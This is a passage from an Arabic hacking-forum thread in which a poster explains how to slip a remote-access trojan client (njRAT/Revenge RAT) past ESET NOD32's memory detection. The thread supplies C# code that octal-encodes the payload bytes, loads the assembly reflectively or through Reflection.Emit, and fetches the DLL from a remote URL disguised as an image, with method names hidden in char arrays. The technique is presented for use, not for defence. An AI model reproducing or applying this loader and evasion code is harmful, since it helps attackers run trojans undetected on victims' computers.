27.01.2018 طريقة تخطي النود دئما بدون اشعار بتهديد بالذاكرة "حتى لو كان الناتج يظهر تهديد بالذاكرة او حتى مكشوف سكان تايم"


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

الحالة
مغلق و غير مفتوح للمزيد من الردود.

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,620
3,576
1
حياكم الله ياشباب
نزلت موضوعي هنا
قراءة المكتبة عن بعد بالذاكرة وتمرير البارامرتات اللازمة للفانكشن المستهدفة [Njrat Client Without Client on Hard Drive]
وموضوعي هنا
New Revenge Rat Client Bypass Node + Clean
والان انا وعمنزل شرح تشفير للكلاينت لاحظت انه عند تشغيل الاسمبلي كملف executable
النود بيظهر تهديد بالذاكرة رغم انه مشفر منه "كحال كثير من التشفيرات"
فقلت ليش مااطبق عليه الطريقة بالموضوعين فوق
وبالفعل النود على نفس التشفيرة ماحكي ولاحرف لاتهديد بالذاكرة ولاشي
يعني اول ماشغلت ناتج التشفيرة كــexe طلعلي تهديد بالذاكرة بس الكلاينت شغال
وقت حولت الناتج لمكتبة وعملت انفوك للميثود المستهدفة مباشرة بدون وجود المكتبة بالريسورس او الامبيديد ريسورس
او ك ريفيرينس ..تم تخطي النود بدون اشعار بتهديد بالذاكرة لنفس التشفيرة لنفس الملف
فهذه طريقة ناجعة لتخطي الاشعار هذا وبالفديو رح تشوفو هالشي وتتأكدو منه ..
تحويل البروجيكت لمشروع مكتبة ومن ثم عمل invoke للفانكشن المستهدفة بالذاكرة
بالمكتبة المتواجدة على موقع ما برابط صورة على سبيل المثال
اثبتت الطريقة نجاعتها بالنسبة للنود ..
هنا فديو لتحويل بايتات الكلاينت الى اوكتال سترينج
الاخ سالم حكاني عن الموضوع والاخ ماحب انه يحول البايتات ل سترينج اوكتال
رغم انه مافي طريقة مباشرة لذلك فقط شفت فانكشن بتحول 1 بايت الى 1 سترينج اوكتال
وعن طريق حلقة foreach طبقت الفانكشن على كل بايت من البايتات
وايضا خليت السترينج بيلدر يبنيلي الناتج حسب ماانا اخترته وهو انه يكون الناتج عبارة عن سترينج اراي
كل عنصر يمثل 1 اوكتال وبالفديو بتشوفو شو عملت لحتى جلبت البايتات وليش هيك عملت
الفكرة "تحويل البايت الى اوكتال ماكانت خاطرة على بالي لذلك شكرا للاخ سالم "
التحويل المباشر من بايت اراي ل اوكتال مثل ماقلت مافيه هيك شي فعدلت المطلوب حتى تتم الطريقة
تم استغلال الناتج بطريقتين واحدة من موضوع طرحته من فترة تحويل من سترينج اراي الى بايت اراي
والثانية من موضوع الاخ لؤي
بعيدا عن طريقة التشفير .الموضوع هنا مابيهم طريقة التشفير خاصتك
المهم انك تطبق الطريقة بتحويل الاسمبلي الى مكتبة ومن ثم عمل انفوك للميثود المستهدفة
لتخطي اشعار النود بتهديد بالذاكرة ..
هنا الفانكشنين المستخدمين للتحويل من بايت اراي الى اوكتال سترينج
C#:
public static string EncodeOctalString(byte value)
      {
          int x = value;
          return [email protected]"\{(x >> 6) & 7}{(x >> 3) & 7}{x & 7}";
      }
      static string Pbb4(byte[] bytes)
      {
          var sb = new StringBuilder();
          var i = 0;
          foreach (var b in bytes)
          {
              sb.Append([email protected]"""\{EncodeOctalString(b)}"",");
          }
          sb.Append("");
          return sb.ToString();
      }
هنا السورس الاول للاسغلال "طبعا لازم تحوله لمكتبة ماتشغله ك exe مباشرة"
C#:
using System;
using System.Collections.Generic;
using Microsoft.VisualBasic;
 
namespace new_trick2
{
    static class Program
    {
 
        [STAThread]
        static void Main()
        {
        string[] arr = { "\\115", "\\132", "\\220", "\\000"};
        var ss = string.Empty;
            foreach (var aa in arr)
            {
                ss += DecodeOctalString(aa) + " ";
            }
        Interaction.CallByName(Interaction.CallByName(Type.GetType("System.Reflection.Assembly")?.GetMethod("Load", new[] { typeof(byte[]) })
        ?.Invoke(null, new object[] { Stringtobytearray(ss.Remove(ss.Length - 1).Split(' '))  })
        ?? throw new InvalidOperationException(), "EntryPoint", CallType.Get), "Invoke", CallType.Method, 100000 - 10000000, null);
        }
        public static byte DecodeOctalString(string octalValue)
        {
return (byte)((int.Parse(octalValue.Substring(1, 1)) << 6) | (int.Parse(octalValue.Substring(2, 1)) << 3) | int.Parse(octalValue.Substring(3, 1)));
        }
        private static byte[] Stringtobytearray(IList<string> values)
        {
            var cl = new byte[values.Count];
            for (var i = 0; i < values.Count; i++)
            {
                cl[i] = byte.Parse(values[i]);
            }
            return cl;
        }
    }
}
وهنا الطريقة الثانية
C#:
using System;
using System.Reflection;
using System.Reflection.Emit;
namespace new_trick
{
   public class Program
    {
 
        [STAThread]
        public static void Main()
        {
            string[] arr = { "\\115", "\\132", "\\220", "\\000", "\\003"};
            var ss = string.Empty;
            foreach (var aa in arr)
            {
                ss += DecodeOctalString(aa) + " ";
            }
            var ba = Array.ConvertAll(ss.Remove(ss.Length - 1).Split(' '), int.Parse);
            var tb = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("Bashar"), AssemblyBuilderAccess.Run)
            .DefineDynamicModule("Bashar").DefineType("Bachir", TypeAttributes.Public);
            var gen = tb.DefineMethod("Main", MethodAttributes.Public, null, null).GetILGenerator();
            gen.Emit(OpCodes.Ldc_I4, ba.Length);
            gen.Emit(OpCodes.Newarr, typeof(byte));
            gen.Emit(OpCodes.Stloc, 0);
            for (var i = 0; i < ba.Length; i++)
            {
                gen.Emit(OpCodes.Ldloc, 0);
                gen.Emit(OpCodes.Ldc_I4, i);
                gen.Emit(OpCodes.Ldc_I4, Convert.ToInt32(ba[i].ToString()));
                gen.Emit(OpCodes.Stelem_I1);
            }
            gen.Emit(OpCodes.Ldloc, gen.DeclareLocal(typeof(byte[])));
            gen.Emit(OpCodes.Call, Type.GetType("System.Reflection.Assembly")?.GetMethod("Load", new[] { typeof(byte[]) })
            ?? throw new InvalidOperationException());
            gen.Emit(OpCodes.Callvirt, Type.GetType("System.Reflection.Assembly")?.GetProperty("EntryPoint")?.GetGetMethod()
            ?? throw new InvalidOperationException());
            gen.Emit(OpCodes.Ldnull);
            gen.Emit(OpCodes.Ldnull);
            gen.Emit(OpCodes.Callvirt, Type.GetType("System.Reflection.MethodBase")?.GetMethod("Invoke", new[] { typeof(object), typeof(object[]) })
            ?? throw new InvalidOperationException());
            gen.Emit(OpCodes.Pop);
            gen.Emit(OpCodes.Ret);
            tb.CreateType().GetMethod("Main")?.Invoke(Activator.CreateInstance(tb.CreateType()), null);
        }
        public static byte DecodeOctalString(string octalValue)
        {
    return (byte)((int.Parse(octalValue.Substring(1, 1)) << 6) | (int.Parse(octalValue.Substring(2, 1)) << 3) | int.Parse(octalValue.Substring(3, 1)));
        }
    }
}
تشغيل الطريقة الاولى او الثانية "المكتبة الناتجة" بيكون على الشكل التالي
C#:
static void Main()
      {
 
          new Thread(Tow).Start();
      }
      public static void Tow()
      {
          Thread.GetDomain().Load(Cl("https://dev-point.co/uploads1/7c.jpg")).GetType("new_trick.Program").GetMethod("Main")?.Invoke(null, new object[] {  });
      }
public static byte[] Cl(string url)
      {
          return (byte[])LateBinding.LateGet(new WebClient(), null, new string(new[] { (char)68, (char)111, (char)119, (char)110, (char)108, (char)111, (char)97, (char)100, (char)68, (char)97, (char)116, (char)97 }), new object[] { url }, null, null);
      }
شرحت بالفديو كل شي بس باختصار بتحدد اسم النيم سبيس بالمشروع اللي بالمكتبة
واسم الكلاس واسم الميثود المراد عمل انفوك لها ..
فينا نعقد الفانكشن مثل ماعملت هنا
C#:
public static void One()
        {
Thread.GetDomain().Load((byte[])Type.GetType(new string(new []{ (char)82, (char)101, (char)82, (char)97, (char)46, (char)80, (char)114, (char)111, (char)103, (char)114, (char)97, (char)109}))
?.GetMethod(new string(new []{ (char)67, (char)108}))
?.Invoke(Type.GetType(new string(new []{ (char)82, (char)101, (char)82, (char)97, (char)46, (char)80, (char)114, (char)111, (char)103, (char)114, (char)97, (char)109}))
?.GetMethod(new string(new []{ (char)67, (char)108})), new object[] {new string(new []{ (char)68, (char)114, (char)72, (char)97, (char)122, (char)101, (char)109, (char)66, (char)97, (char)115, (char)104, (char)97, (char)114, (char)66, (char)97, (char)99, (char)104, (char)105, (char)114, (char)46, (char)68, (char)114, (char)72, (char)97, (char)122, (char)101, (char)109}) }))
.GetType(new string(new []{ (char)68, (char)114, (char)72, (char)97, (char)122, (char)101, (char)109, (char)66, (char)97, (char)115, (char)104, (char)97, (char)114, (char)66, (char)97, (char)99, (char)104, (char)105, (char)114, (char)46, (char)68, (char)114, (char)72, (char)97, (char)122, (char)101, (char)109}))
.GetMethod(new string(new []{ (char)77, (char)97, (char)105, (char)110}))?.Invoke(null, new object[] { });
        }
بس خليتها واضحة عشان يفهمو الاعضاء والكثير ممايمكن عمله ..
مثل ماقلت فوق مش مهم طريقة التشفير ..الخلاصة كيف تتخلص من الاشعار بهالطريقة هنا
قراءة المكتبة عن بعد وعمل انفوك للميثود المستهدفة ..
لمشاهدة الفديو من المرفقات
يوجد ايضا بالمرفقات فديو اخر يظهر ان التشفيرة مكشوفة للنود سكان تايم
بعكس الفديو فوق ..الفديو الاول بيعطي ناتجه ان كان exe تهديد بالذاكرة فقط
اما هنا متى ماشاف الملف النود بيحذفه
ووقت منطبق شرحنا هنا حتى تهديد بالذاكرة مابيعطي هههه
 

المرفقات

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,620
3,576
1
يرفع عشان الاكواد لازمه بالموضوع الثاني والشباب عميطلبوها
 
الحالة
مغلق و غير مفتوح للمزيد من الردود.

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك